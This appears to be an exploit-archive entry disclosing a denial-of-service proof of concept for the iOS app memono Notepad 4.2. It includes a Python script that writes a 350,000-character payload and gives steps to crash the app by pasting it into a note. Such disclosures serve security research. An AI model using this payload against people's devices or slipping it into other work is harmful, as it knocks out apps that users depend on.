eaff7043e2
6 changes to exploits/shellcodes Sticky Notes Widget Version 3.0.6 - Denial of Service (PoC) n+otes 1.6.2 - Denial of Service (PoC) memono Notepad Version 4.2 - Denial of Service (PoC) Student Result Management System 1.0 - 'class' SQL Injection TextPattern CMS 4.8.7 - Stored Cross-Site Scripting (XSS) Linux/x86 - execve /bin/sh Shellcode (fstenv eip GetPC technique) (70 bytes_ xor encoded)
35 lines
No EOL
1,005 B
Python
Executable file
35 lines
No EOL
1,005 B
Python
Executable file
# Exploit Title: memono Notepad Version 4.2 - Denial of Service (PoC)
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# Date: 06-09-2021
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# Author: Geovanni Ruiz
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# Download Link: https://apps.apple.com/es/app/memono-bloc-de-notas/id906470619
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# Version: 4.2
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# Category: DoS (iOS)
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##### Vulnerability #####
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Color Notes is vulnerable to a DoS condition when a long list of characters is being used when creating a note:
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# STEPS #
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# Open the program.
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# Create a new Note.
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# Run the python exploit script payload.py, it will create a new payload.txt file
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# Copy the content of the file "payload.txt"
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# Paste the content from payload.txt twice in the new Note.
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# Crashed
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Successful exploitation will cause the application to stop working.
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I have been able to test this exploit against iOS 14.2.
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##### PoC #####
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--> payload.py <--
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#!/usr/bin/env python
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buffer = "\x41" * 350000
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try:
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f = open("payload.txt","w")
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f.write(buffer)
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f.close()
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print ("File created")
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except:
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print ("File cannot be created") |